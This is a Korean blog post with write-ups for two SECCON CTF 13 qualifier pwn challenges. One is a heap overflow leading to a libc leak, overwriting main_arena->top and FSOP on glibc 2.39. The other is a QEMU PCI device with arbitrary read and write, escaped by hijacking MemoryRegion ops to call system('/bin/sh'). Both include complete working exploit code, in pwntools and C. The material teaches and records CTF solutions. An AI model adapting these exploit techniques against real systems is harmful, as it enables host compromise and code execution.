SECCON CTF Quals 13 writeup

dandb3·2024년 11월 26일
0

writeup

목록 보기
8/8

pwn


free-free free

내부적으로 관리되는 struct Data 로 이루어진 linked list의 취약점을 찾아내야 하는 문제이다.

typedef struct Data {
	struct Data *next;
	uint32_t len;
	uint32_t id;
	char buf[];
} data_t;

static int alloc(uint32_t size){
	if(size < 0x20 || size > 0x400){
		puts("Invalid size");
		return 0;
	}

	data_t *p = malloc(8+size);
	if(!p){
		puts("Allocation error");
		return 0;
	}

	p->len = size;
	p->id = rand();

	tail->next = p;
	tail = p;

	return p->id;
}

static int edit(uint32_t id){
	data_t *p = head.next;
	for(int i = 0; p && i < MAX_DEPTH; p = p->next, i++)
		if(p->id == id){
			printf("data(%u): ", p->len);
			getnline(p->buf, p->len);
			return 0;
		}

	return -1;
}

alloc() 함수를 보면, 입력받은 사이즈 + 8의 크기만큼 할당을 받고, len 값을 입력받은 사이즈 값으로 설정하게 된다.

그런데 edit() 함수를 보면, 미리 할당받았던 struct Data + 0x10 의 위치에 struct Data->len값만큼 입력을 받게 되는데, 이를 통해 0x10 크기만큼의 heap overflow가 발생한다는 사실을 확인할 수 있다.

즉, top chunk의 size 영역을 원하는 값으로 덮을 수 있게 된다.

이 문제의 경우 libc-2.39 버전으로, malloc 호출 시 top chunk의 사이즈가 너무 크지 않은지 체크하기 때문에 house of force 기법을 사용할 수 없다.

release() 함수를 살펴봐도 free()를 호출하는 코드가 존재하지 않는데, 이는 다음의 과정을 통해 해결할 수 있다.

malloc() 호출 시 할당받는 메모리의 크기가 top chunk의 크기보다 크다면, 남은 top chunk는 free되고 heap 영역이 확장된다. (주의 : top chunk의 메모리는 0x1000 aligned 되어야 함) → sysmalloc() 함수 참고.

위 과정을 사용하면 원하는 크기의 chunk를 free할 수 있게 되고, 이를 반복하면 small bin에 chunk를 집어넣을 수 있게 된다.

0x1f0 size의 small bin에 chunk가 들어갔음을 확인할 수 있다.

0x1f0 size의 small bin에 chunk가 들어갔음을 확인할 수 있다.

libc leak

static int edit(uint32_t id){
	data_t *p = head.next;
	for(int i = 0; p && i < MAX_DEPTH; p = p->next, i++)
		if(p->id == id){
			printf("data(%u): ", p->len);
			getnline(p->buf, p->len);
			return 0;
		}

	return -1;
}

edit() 함수를 다시 보면, p->next를 통해 다음 원소로 넘어가면서 id값을 체크하게 된다.

앞서 small bin에 존재하던 chunk를 할당하게 되면, next pointer가 초기화 되지 않기 때문에 small bin영역을 가리키게 되고, edit() 함수는 small bin의 메모리 값을 바탕으로 동작하게 된다.

여기서 1.5바이트 bruteforcing을 통해 id 영역에 해당하는 값을 알아낼 수 있고, printf()문을 통해 나머지 4바이트의 값도 알아낼 수 있다.

AAW

main_arena의 메모리를 보면, bin의 경우 자신의 주소 - 0x10의 위치를 가리키고 있다. 이 문제의 경우, p->next를 통해 다음 원소로 탐색을 이어가게 되는데, small bin의 메모리에 접근하는 경우 id값이 일치하지 않으면 주소 - 0x10 의 값을 참조하는 과정을 계속 반복하다가 top chunk의 값이 저장된 영역까지 참조하게 된다. (<main_arena+96> 부분)

static int release(uint32_t id){
	for(data_t *p = &head; p->next; p = p->next)
		if(p->next->id == id){
			// free-free is more secure
			if(tail == p->next)
				tail = p;
			p->next = p->next->next;
			return 0;
		}

	return -1;
}

결국 top chunk의 id값을 체크하는 지점까지 오게 되는데, 우리는 heap overflow를 통해 top chunk의 prev_size와 size를 조절할 수 있었다. 그러므로 release()함수의 if문에 top chunk가 걸리도록 한다면, p->next = p->next->next;main_arena->top = main_arena->top->prev_size 를 의미하게 되므로 main_arena->top의 값을 원하는 값으로 바꿀 수 있게 된다.

그 후, alloc()을 하게 되면 임의로 설정해 놓은 top chunk의 주소가 할당되어 AAW가 가능해진다.

여기서 주의할 점은, 할당 시 top chunk의 사이즈를 검사하기 때문에 적당히 큰 값이 오도록 해야 한다.

FSOP

FSOP를 사용하기 위해서 _IO_2_1_stderr_ 보다 앞에 있는 값으로 할당해야 하는데, 적당한 top chunk의 size를 가지고 있는 부분이 바로 <main_arena+2176> 부분에 해당한다.

여기부터 원하는 값으로 덮으면 된다.

exploit code

는 다음과 같다.

from pwn import *

def alloc(size):
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"size: ", str(size).encode())

def raw_edit(id, data):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"id: ", str(id).encode())

def edit(id, data):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"id: ", str(id).encode())
    r.sendlineafter(b"): ", data)
    
def release(id):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"id: ", str(id).encode())
    
def getid():
    r.recvuntil(b"ID:")
    return int(r.recvn(10), 16)    

r = process("./chall_patched")#'''env={"LD_PRELOAD": "./libc.so.6"}''')
# r = remote("free3.seccon.games", 8215)

alloc(0x20)
id = getid()

edit(id, b"A" * 0x18 + b"\x41\x0d\x00\x00")
release(id)

alloc(0x320)
release(getid())
alloc(0x3f0)
release(getid())
alloc(0x3f0)
release(getid())

# 0x1f0 freed -> fill tcache_bin
for _ in range(7):
    alloc(0x400)
    id = getid()
    edit(id, b"A" * 0x3f8 + b"\xf1\x0b\x00\x00")
    release(id)

    alloc(0x400)
    release(getid())
    alloc(0x3b0)
    release(getid())
    alloc(0x200)
    release(getid())

# 0x1f0 freed -> unsorted bin -> small bin
alloc(0x400)
release(getid())
alloc(0x400)
id = getid()

for _ in range(7):
    alloc(0x1e0)
    release(getid())

alloc(0x1e0)

# set main_arena->top = top_chunk->prev_size
for i in range(0x100):
    raw_edit(0x7f00 + i, b"A")
    print(f"i: {hex(i)}")
    if r.recvn(5) != b"Not f":
        # r.success(f"i = {hex(i)}")
        libc_base = ((0x7f00 + i) << 32) + int(r.recvuntil(b")")[:-1]) - 0x203cf0
        r.success(f"libc_base: {hex(libc_base)}")
        r.send(b"\n")
        break

# top_chunk -> (prev_size, size) corruption
edit(id, b"A" * 0x3f0 + p64(libc_base + 0x2044e0 - 0x1a0) + b"AAAAAA")

release(0x4141)
alloc(0x400)

# memory reservation
payload = p64(libc_base + 0x00000000001cca3a) * 2
payload += p64(libc_base + 0x00000000001cb0fa) * 2
payload += p64(0)
payload += p64(1)
payload += p64(2)
payload += p64(libc_base + 0x000000000020b298)
payload += p64(0)
payload += p64(0xffffffffffffffff)
payload += p64(libc_base + 0x00000000001d46b0)
payload += p64(0)
payload += p64(libc_base + 0x00000000001ffe20)
payload += p64(libc_base + 0x0000000000200500)
payload += p64(libc_base + 0x0000000000200640)
payload += p64(libc_base + 0x00000000001ffd40)
payload += p64(libc_base + 0x00000000002002c0)
payload += p64(libc_base + 0x0000000000200260)
payload += p64(0)
payload += p64(libc_base + 0x0000000000200580)
payload += p64(libc_base + 0x0000000000200480)
payload += p64(libc_base + 0x00000000001ffca0)
payload += p64(libc_base + 0x00000000002005e0)
payload += p64(libc_base + 0x0000000000200200)
payload += p64(libc_base + 0x0000000000200140)
payload += p64(libc_base + 0x00000000001b28c0)
payload += p64(libc_base + 0x00000000001b19c0)
payload += p64(libc_base + 0x00000000001b1fc0)
payload += p64(libc_base + 0x00000000001cca38) * 13
payload += p64(0) * 3
payload += p64(libc_base + 0x2044e0)
payload += p64(0) * 3

# FSOP payload
payload += b"\x01\x01\x01\x01;sh;"
payload += p64(0) * 4
payload += p64(1)
payload += p64(0) * 7
payload += p64(libc_base + 0x58740)
payload += p64(0) * 3
payload += p64(libc_base + 0x2044e0 - 0x18)
payload += p64(0) * 2
payload += p64(libc_base + 0x2044e0 - 0x10)
payload += p64(0) * 5
payload += p64(libc_base + 0x2044e0)
payload += p64(libc_base + 0x202228)

edit(getid(), payload)
r.sendlineafter(b"> ", b"0")

r.interactive()

Babyqemu (Upsolving)

QEMU를 exploit하는 문제이다.
처음으로 접한 유형이다보니 관련 내용 공부가 많이 필요했다.
또한, 정확하지 않은 정보가 다수 포함될 수도 있다는점..

문제의 소스코드와 QEMU의 소스코드를 혼재해서 사용할 예정인데, QEMU의 경우 제일 위에 주석으로 // QEMU라고 표기하였다.

디렉토리를 보면, baby.c와 baby.h 파일이 존재하는데 pci device로 설치가 됨을 확인할 수 있다.
먼저 간단?하게 QEMU에서 device I/O가 어떻게 이루어지는지 살펴볼 것이다.

device I/O

static const MemoryRegionOps pci_babydev_mmio_ops = {
	.read       = pci_babydev_mmio_read,
	.write      = pci_babydev_mmio_write,
	.endianness = DEVICE_LITTLE_ENDIAN,
	.impl = {
		.min_access_size = 1,
		.max_access_size = 4,
	},
};

struct MemoryRegionOps를 보면, read에 pci_babydev_mmio_read, write에 pci_babydev_mmio_write가 저장되어 있는 것을 통해 이 device로의 read, write 연산은 vtable 구조를 가지고 있음을 확인 가능하다.

또한, 아래의 impl을 보면 min_access_sizemax_access_size가 존재하는데 말 그대로 읽기/쓰기 가능한 메모리의 크기에 대한 제한사항이다. 이에 대해서는 아래에서 더 자세히 설명할 것이다.

read/write

이 문제의 경우, MMIO 방식을 통해 device와의 소통이 이루어진다. mmap() 을 통해 device를 매핑한 후, 이 영역에 대해 read/write를 하게 되면 앞서 언급했던 MemoryRegionOps의 read/write 함수가 호출되는 것이다.

read/write 함수의 프로토타입은 다음과 같다.

// QEMU
/*
 * Memory region callbacks
 */
struct MemoryRegionOps {
    /* Read from the memory region. @addr is relative to @mr; @size is
     * in bytes. */
    uint64_t (*read)(void *opaque,
                     hwaddr addr,
                     unsigned size);
    /* Write to the memory region. @addr is relative to @mr; @size is
     * in bytes. */
    void (*write)(void *opaque,
                  hwaddr addr,
                  uint64_t data,
                  unsigned size);
    ...
};
  • opaque : device별 임의로 설정된 값
  • addr : 상대적인 주소값. 여기에서는 mmap()을 호출한 뒤 base address로부터의 offset을 의미한다.
  • size : read/write할 데이터의 size를 의미한다.
  • data : write할 때 쓰이는 값이다.

추가적으로 memory_region_init_io() 에 대해서도 알아보자.

// QEMU
void memory_region_init_io(MemoryRegion *mr,
                           Object *owner,
                           const MemoryRegionOps *ops,
                           void *opaque,
                           const char *name,
                           uint64_t size)
{
    memory_region_init(mr, owner, name, size);
    mr->ops = ops ? ops : &unassigned_mem_ops;
    mr->opaque = opaque;
    mr->terminates = true;
}

struct MemoryRegion의 초기화 과정에 해당한다. 주목할 점은, mr->ops, mr->opaque의 값을 인자로 넘겨준 값으로 세팅한다는 점이다.

실제 QEMU에서의 read/write 호출부를 보면 다음과 같다.

// QEMU
static MemTxResult  memory_region_read_accessor(MemoryRegion *mr,
                                                hwaddr addr,
                                                uint64_t *value,
                                                unsigned size,
                                                signed shift,
                                                uint64_t mask,
                                                MemTxAttrs attrs)
{
    uint64_t tmp;

    tmp = mr->ops->read(mr->opaque, addr, size);
    ...
    memory_region_shift_read_access(value, shift, mask, tmp);
    return MEMTX_OK;
}

static MemTxResult memory_region_write_accessor(MemoryRegion *mr,
                                                hwaddr addr,
                                                uint64_t *value,
                                                unsigned size,
                                                signed shift,
                                                uint64_t mask,
                                                MemTxAttrs attrs)
{
	uint64_t tmp = memory_region_shift_write_access(value, shift, mask);
    ...
    mr->ops->write(mr->opaque, addr, tmp, size);
    return MEMTX_OK;
}

mr->ops->read, mr->ops->write를 호출하면서 저장되어 있던 mr->opaque값을 첫 번째 인자로 집어넣게 된다.

struct MemoryRegion에 대해서도 간단하게 살펴보자.

// QEMU
/** MemoryRegion:
 *
 * A struct representing a memory region.
 */
struct MemoryRegion {
    Object parent_obj;

    /* private: */
	...
    const MemoryRegionOps *ops;
    void *opaque;
    ...
};

앞서 초기화했던 값들이 실제로 들어있는 것을 확인할 수 있다.
이 영역을 수정하는 것을 통해서 control-flow hijack이 가능하고, 이 기법을 사용해서 이 문제를 해결할 것이다.

mmap()

아까부터 device를 mmap() 하면 된다고 이야기를 했는데, 그 과정에 대해 자세히 살펴보자.
먼저 현재 등록된 pci device들을 확인해 보면 다음과 같다.

baby.h 파일을 보면,

#define BABY_PCI_VENDOR_ID 0x4296
#define BABY_PCI_DEVICE_ID 0x1338

vender id와 device id를 확인할 수 있는데, 이를 통해 이 device는 00:04.0에 해당한다는 것을 확인 가능하다.

device의 경우 위 사진의 경로에 해당하는 위치에 존재한다. 여기서 자세히 보면 resource0의 경우 크기가 16이라는 것을 확인가능한데,

static void pci_babydev_realize(PCIDevice *pci_dev, Error **errp) {
	PCIBabyDevState *ms = PCI_BABY_DEV(pci_dev);
	uint8_t *pci_conf;

	debug_printf("called\n");
	pci_conf = pci_dev->config;
	pci_conf[PCI_INTERRUPT_PIN] = 0;

	ms->reg_mmio = g_malloc(sizeof(struct PCIBabyDevReg));

	memory_region_init_io(&ms->mmio, OBJECT(ms), &pci_babydev_mmio_ops, ms, TYPE_PCI_BABY_DEV"-mmio", sizeof(struct PCIBabyDevReg));
	pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY | PCI_BASE_ADDRESS_MEM_TYPE_64, &ms->mmio);
}

device 설치 시 호출되는 pci_babydev_realize() 함수를 보면 memory_region_init_io()의 함수를 통해 사이즈가 sizeof(struct PCIBabyDevReg), 즉 16의 값을 실제로 가진다는 것을 확인할 수 있다.
즉, resource0을 통해 open()한 후, mmap()을 진행하면 되는 것이다.

vulnerability

앞서 언급했듯 device I/O 시 최소 size는 1, 최대 size는 4에 해당한다는 점을 기반으로 설명할 것이다.

AAW

static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
	PCIBabyDevState *ms = opaque;
	struct PCIBabyDevReg *reg = ms->reg_mmio;

	debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);

	switch(addr){
		case MMIO_SET_OFFSET:
			reg->offset = val;
			break;
		case MMIO_SET_OFFSET+4:
			reg->offset |= val << 32;
			break;
		case MMIO_SET_DATA:
			debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
			*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
			break;
	}
}

MMIO_SET_OFFSETMMIO_SET_OFFSET+4를 통해 8바이트의 reg->offset 값을 임의의 값으로 설정하는 것이 가능하다. 또한, MMIO_SET_DATA를 통해 ms->buffer + reg->offset 주소에 최대 4바이트 만큼의 값을 써 넣는 것이 가능하다.

즉 AAW가 가능하다는 것이다.

AAR

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
	PCIBabyDevState *ms = opaque;
	struct PCIBabyDevReg *reg = ms->reg_mmio;

	debug_printf("addr:%lx, size:%d\n", addr, size);

	switch(addr){
		case MMIO_GET_DATA:
			debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
			return *(uint64_t*)&ms->buffer[reg->offset];
	}
	
	return -1;
}

MMIO_GET_DATA를 통해 ms->buffer + reg->offset 주소의 8바이트의 값을 read하는 것이 가능하다. write와 연계해서 사용하게 된다면 AAR가 가능하게 된다.

exploit

AAR을 사용해서 pie, libc, heap 주소를 leak 한 후, AAW를 사용해서 MemoryRegion->ops->read 값은 system() 주소가 적힌 곳을 가리키게 하고, MemoryRegion->opaque 값은 /bin/sh 를 가리키게 하면 된다.

여기서 주의할 점은, 처음에 설정된 MemoryRegion->ops는 read-only 영역을 가리키고 있으므로 새로운 fake ops 구조체를 만든 후 여기를 가리키게 해야 한다.
또한, AAW의 순서는 ops -> opaque 순으로 이루어져야 하고, 이 때 fake ops->write값은 기존 ops->write의 값과 동일해야 한다.

익스플로잇 코드는 다음과 같다.

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdint.h>

// read = 0x3ae170
// write = 0x3ae1b0

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

unsigned long dev_read(void *addr) {
    unsigned long ret = (unsigned long) *(uint32_t *)(addr + 8);
    
    if (ret == -1) {
        fatal("dev read");
    }
    return ret;
}

void dev_set_offset(void *addr, uint64_t val) {
    *(uint32_t *)addr = (uint32_t)(val & 0xffffffff);
    *(uint32_t *)(addr + 4) = (uint32_t)(val >> 32);
}

void dev_set_data(void *addr, uint32_t val) {
    *(uint32_t *)(addr + 8) = val;
}

uint64_t read_qword(void *addr, uint64_t offset) {
    uint64_t result;

    dev_set_offset(addr, offset);
    result = dev_read(addr);

    dev_set_offset(addr, offset + 4);
    result |= (dev_read(addr) << 32);

    return result;
}

void write_qword(void *addr, uint64_t offset, uint64_t val) {
    dev_set_offset(addr, offset);
    dev_set_data(addr, val & 0xffffffff);
    dev_set_offset(addr, offset + 4);
    dev_set_data(addr, val >> 32);
}

int main() {
    int dev = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (dev < 0) {
        fatal("dev open");
    }

    void *addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, dev, 0);
    if (addr == MAP_FAILED) {
        fatal("mmap");
    }

    uint64_t libc_base = read_qword(addr, 0x1270) - 0x203b00;
    uint64_t heap_base = read_qword(addr, -8) - 0x1162d10;
    uint64_t pie_base = read_qword(addr, -0x114f120) - 0x72fa50;

    write_qword(addr, 0, 0x68732f6e69622f);         // /bin/sh
    write_qword(addr, 8, libc_base + 0x58740);      // system
    write_qword(addr, 0x10, pie_base + 0x3ae1b0);   // pci_babydev_mmio_write

    // overwrite fops to PCIBabyDevState->buffer + 8
    dev_set_offset(addr, -0xc8);
    dev_set_data(addr, (heap_base + 0x11615c8 + 8) & ((1UL << 32) - 1));    

    // overwrite opaque to PCIBabyDevState->buffer
    dev_set_offset(addr, -0xc0);
    dev_set_data(addr, (heap_base + 0x11615c8) & ((1UL << 32) - 1));

    dev_read(addr);

    return 0;
}

익스플로잇 코드 개선: 4바이트 단위로 write가 이루어지기 때문에 ops의 값을 수정할 때 한 번에 이루어져야 한다. 그런데 나의 경우 heap 주소에 fake ops, /bin/sh 를 구성해 놓았기 때문에 하위 4바이트를 수정할 때 heap과 pie의 주소가 맞지 않는 경우도 존재할 것 같다.
그래서 좀 더 reliable한 exploit을 위해서는 fake ops, /bin/sh를 pie의 bss 영역에 갖다놓으면 될 것이다.

profile
공부 내용 저장소

0개의 댓글